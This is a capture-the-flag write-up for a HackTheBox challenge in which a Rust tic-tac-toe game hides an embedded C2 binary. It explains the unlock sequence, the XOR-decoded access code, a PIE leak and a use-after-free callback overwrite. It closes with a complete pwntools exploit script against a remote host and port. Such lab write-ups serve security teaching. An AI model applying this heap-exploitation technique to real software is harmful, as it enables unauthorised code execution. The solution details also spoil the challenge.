$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: a Rust game binary hid a second-stage C2 interface behind a specific 5x5 tic-tac-toe pattern and access code. Solution: re-download the latest archive, recover the correct embedded ELF offsets, leak PIE with the H option, then use a use-after-free to overwrite a callback with getSecret and print the real remote flag.
Original HackTheBox task text was not preserved in the local solve notes.
The challenge presented a 5x5 tic-tac-toe game, but the real target was a hidden second-stage interface unlocked only after entering a very specific move sequence and a decrypted access code. The final exploit was a PIE leak plus a use-after-free callback overwrite in the embedded C2 binary.
The outer program was a Rust ELF that first exposed a tic-tac-toe board. Winning normally was not enough: the binary compared the played moves against a hidden pattern string:
X:00O:04X:11O:13X:22O:31X:33O:40X:44
That corresponds to the exact input sequence:
0 00 41 11 32 23 13 34 04 4Geometrically, X fills the main diagonal and O fills the anti-diagonal except the center cell, which is already occupied by X. Once this sequence is entered, the program prints that the hidden interface is unlocked.
The next gate was the access code. The challenge stored encrypted fragments in the outer binary; decrypting them with XOR key 0x5a yielded:
D3f1n3tlya71c74c703gam3
After the unlock, the program launched a hidden embedded C2 binary extracted from the outer file at offset 0x7d63a with size 0x4468.
An important correction was necessary before exploitation worked remotely: earlier attempts used offsets from an outdated binary version. The issue was resolved by re-downloading the latest challenge archive and updating all offsets to match the embedded C2 actually shipped by the live service.
The corrected symbols for the latest C2 were:
getSecret = 0x1259executeAction = 0x13e0generateUserID = 0x13fdprintID = 0x14b8Hackupdate = 0x151fexitProgram = 0x155dThe exploitable bug was a classic use-after-free on an object containing a function pointer.
The hidden C2 kept a heap-allocated agent object whose first field was a callback used by executeAction(agent). Option E with confirmation Y freed this object through exitProgram, but the global agent pointer was left unchanged. The program then returned to the main loop and continued to use the stale pointer.
Later, option F (Hackupdate) performed malloc(8) and then read(0, buf, 8). Because the freed agent chunk was a small tcache entry, this allocation reused the same chunk. Writing 8 bytes into the new allocation therefore overwrote the stale agent->func callback. When the loop subsequently called executeAction(agent), control flow jumped to the attacker-supplied address.
This became reliable because option H changed the callback to printID, and printID disclosed the runtime address of generateUserID using:
printf("User ID: %p\n", generateUserID);
That leak gave an immediate PIE calculation:
PIE base = leak - 0x13fdgetSecret = PIE base + 0x1259getSecret = leak - 0x1a4The working remote chain was:
D3f1n3tlya71c74c703gam3.H so the callback becomes printID.generateUserID address from User ID: 0x....getSecret = leak - 0x1a4.E, then confirm with Y, to free the agent object without nulling the global pointer.F; its malloc(8) reuses the freed tcache chunk.p64(leak - 0x1a4) as the 8-byte payload.executeAction(agent), which now jumps into getSecret and prints the flag.The final payload for option F was therefore:
p64(leak - 0x1a4)
Example successful remote values from the corrected live instance:
154.57.164.75327180x5573a5ef43fd0x5573a5ef3000getSecret: 0x5573a5ef4259The flag output appeared after a leading space/newline, so the receive logic needed to search the full returned buffer instead of assuming a clean line start.
One confusing detail during analysis was a fake local flag present in the archive:
HTB{f4k3_fl4g_f0r_t3st1ng}
That was only a test artifact. The real remote flag was different and was recovered only after re-downloading the latest challenge archive, fixing the stale offsets, and rerunning the exploit against the updated service.
#!/usr/bin/env python3 from pwn import * import re context.arch = "amd64" HOST = "154.57.164.75" PORT = 32718 MOVES = [ b"0 0", b"0 4", b"1 1", b"1 3", b"2 2", b"3 1", b"3 3", b"4 0", b"4 4", ] ACCESS_CODE = b"D3f1n3tlya71c74c703gam3" DELTA_GETSECRET_FROM_LEAK = 0x1A4 def main(): io = remote(HOST, PORT) for move in MOVES: io.recvuntil(b"(0-4): ") io.sendline(move) io.recvuntil(b"Enter Username: ") io.sendline(b"admin") io.recvuntil(b"Enter Access Code: ") io.sendline(ACCESS_CODE) io.recvuntil(b"> ") io.sendline(b"H") data = io.recvuntil(b"> ") m = re.search(rb"User ID: (0x[0-9a-fA-F]+)", data) if not m: raise RuntimeError(f"leak not found: {data!r}") leak = int(m.group(1), 16) get_secret = leak - DELTA_GETSECRET_FROM_LEAK log.info(f"leak = {hex(leak)}") log.info(f"pie_base = {hex(leak - 0x13fd)}") log.info(f"getSecret = {hex(get_secret)}") io.sendline(b"E") io.recvuntil(b"(Y/N)?") io.sendline(b"Y") io.recvuntil(b"> ") io.sendline(b"F") io.recvuntil(b"hack go?") io.send(p64(get_secret)) data = io.recvrepeat(1) m = re.search(rb"HTB\{[^}]+\}", data) if not m: raise RuntimeError(f"flag not found in: {data!r}") print(m.group().decode()) if __name__ == "__main__": main()
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar